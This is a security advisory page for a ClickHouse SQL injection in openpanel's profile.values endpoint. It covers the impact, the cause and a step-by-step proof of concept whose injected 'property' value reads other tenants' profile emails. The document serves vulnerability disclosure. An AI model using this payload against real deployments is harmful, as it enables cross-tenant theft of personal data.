All vulnerabilities
GHSA-4j6c-j6vc-xq96

openpanel: ClickHouse SQL injection via profile.values

openpanel
CVSS
7.2High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published11 Oct 2026Updated 11 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Summary

ClickHouse SQL injection in profile.values: attacker-controlled property is interpolated raw as a SELECT expression, enabling cross-tenant read of all projects' data

Impact

Any authenticated user who has read access to a single project (trivially self-service: register, create a project) can read ARBITRARY data from any table and any tenant in the shared ClickHouse cluster. The injected SELECT expression can append its own FROM/WHERE that ignores the outer project_id scope and comment out the trailing as values FROM profiles WHERE (project_id='...'). The values are returned directly in the response values field (non-blind). Example: exfiltrate every profile email across all tenants, or dump any project's events/sessions (PII, IPs, revenue).

Details

The clix/sql-builder layer escapes VALUES via sqlstring.escape but interpolates identifier/expression positions raw. In profile.values, only the property.startsWith('properties.') branch escapes the key (as a Map-access string literal); the else branch places the raw user string directly into the SELECT list. sqlstring.escape cannot protect an expression position anyway, and no allowlist (e.g. isKnownEventField / a column whitelist) is applied.

POC

Register attacker:

POST http://localhost:3333/trpc/auth.signUpEmail {"json":{"firstName":"A","lastName":"T","email":"a@evil.test","password":"Sup3rSecret!123","confirmPassword":"Sup3rSecret!123"}}

Create the attacker's project:

POST /trpc/onboarding.project {"json":{"organization":"AttackerOrg","project":"attackerproj","domain":"","cors":[],"website":true,"app":false,"backend":false}}

As the attacker, call the query (URL-encode the input):

GET /trpc/profile.values?input={"json":{"projectId":"attackerproj","property":"email as values FROM profiles WHERE project_id = 'victimproj' -- "}} -> the response result.data.json.values contains the victim project's email.

Text from GitHub Advisory Database

Affected versions 1

  • openpanel, openpanel-dev<= f8bb75744d0e933dad548c58306adfc27aaf64a6GitHub